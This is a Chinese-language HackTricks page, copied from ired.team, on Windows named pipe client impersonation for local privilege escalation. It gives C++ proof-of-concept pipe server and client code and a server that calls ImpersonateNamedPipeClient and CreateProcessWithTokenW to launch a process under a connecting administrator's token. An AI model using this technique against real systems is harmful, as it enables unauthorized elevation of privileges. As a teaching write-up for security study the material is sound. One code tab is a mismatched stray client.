hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
2023-08-03 19:12:22 +00:00

9.7 KiB
Raw Blame History

命名管道客户端模拟

命名管道客户端模拟

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

此信息是从https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation 复制的

概述

pipe是一块用于进程间通信和数据交换的共享内存块。

命名管道是Windows的一种机制它使得两个不相关的进程可以在彼此之间交换数据即使这些进程位于两个不同的网络上。它非常类似于客户端/服务器架构,因为存在命名管道服务器命名管道客户端的概念。

命名管道服务器可以使用一些预定义的名称打开一个命名管道,然后命名管道客户端可以通过已知的名称连接到该管道。一旦建立连接,数据交换就可以开始了。

本实验涉及一个简单的PoC代码可以实现以下功能

  • 创建一个单线程的简单命名管道服务器,它将接受一个客户端连接
  • 命名管道服务器向命名管道写入一条简单的消息,以便管道客户端可以读取它

代码

以下是服务器和客户端的PoC代码

{% tabs %} {% tab title="namedPipeServer.cpp" %}

#include "pch.h"
#include <Windows.h>
#include <iostream>

int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;

std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}

std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);

return 0;
}

{% tab title="namedPipeClient.cpp" %}

#include <windows.h>
#include <stdio.h>

#define PIPE_NAME L"\\\\.\\pipe\\MyNamedPipe"

int main()
{
    HANDLE hPipe;
    DWORD dwBytesRead;
    char buffer[1024];

    // Connect to the named pipe
    hPipe = CreateFile(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hPipe == INVALID_HANDLE_VALUE)
    {
        printf("Failed to connect to the named pipe. Error code: %d\n", GetLastError());
        return 1;
    }

    // Send a message to the server
    const char* message = "Hello from the client!";
    if (!WriteFile(hPipe, message, strlen(message) + 1, &dwBytesRead, NULL))
    {
        printf("Failed to send message to the server. Error code: %d\n", GetLastError());
        CloseHandle(hPipe);
        return 1;
    }

    // Receive a response from the server
    if (!ReadFile(hPipe, buffer, sizeof(buffer), &dwBytesRead, NULL))
    {
        printf("Failed to receive response from the server. Error code: %d\n", GetLastError());
        CloseHandle(hPipe);
        return 1;
    }

    printf("Response from the server: %s\n", buffer);

    // Close the named pipe
    CloseHandle(hPipe);

    return 0;
}

{% endtab %}

#include "pch.h"
#include <iostream>
#include <Windows.h>

const int MESSAGE_SIZE = 512;

int main()
{
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
HANDLE clientPipe = NULL;
BOOL isPipeRead = true;
wchar_t message[MESSAGE_SIZE] = { 0 };
DWORD bytesRead = 0;

std::wcout << "Connecting to " << pipeName << std::endl;
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

while (isPipeRead) {
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
std::wcout << "Received message: " << message;
}

return 0;
}

{% endtab %} {% endtabs %}

执行

下面展示了命名管道服务器和命名管道客户端正常工作的情况:

值得注意的是默认情况下命名管道通信使用SMB协议

检查进程如何保持对我们的命名管道mantvydas-first-pipe的句柄:

类似地,我们可以看到客户端对命名管道有一个打开的句柄:

我们甚至可以用powershell看到我们的管道

((Get-ChildItem \\.\pipe\).name)[-1..-5]

令牌冒充

{% hint style="info" %} 请注意,为了冒充客户端进程的令牌,您需要拥有(创建管道的服务器进程)SeImpersonate 令牌特权。 {% endhint %}

通过利用ImpersonateNamedPipeClient API调用命名管道服务器可以冒充命名管道客户端的安全上下文从而将命名管道服务器当前线程的令牌更改为命名管道客户端的令牌。

我们可以像下面这样更新命名管道服务器的代码以实现冒充 - 请注意修改在第25行及以下可见

int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;

std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}

std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);

std::wcout << "Impersonating the client..." << std::endl;
ImpersonateNamedPipeClient(serverPipe);
err = GetLastError();

STARTUPINFO	si = {};
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
PROCESS_INFORMATION pi = {};
HANDLE threadToken = GetCurrentThreadToken();
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

return 0;
}

运行服务器并使用以administrator@offense.local安全上下文运行的客户端连接到它我们可以看到命名服务器管道的主线程假定了命名管道客户端的令牌 - offense\administrator尽管PipeServer.exe本身是在ws01\mantvydas安全上下文下运行的。听起来是提升权限的好方法吗

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥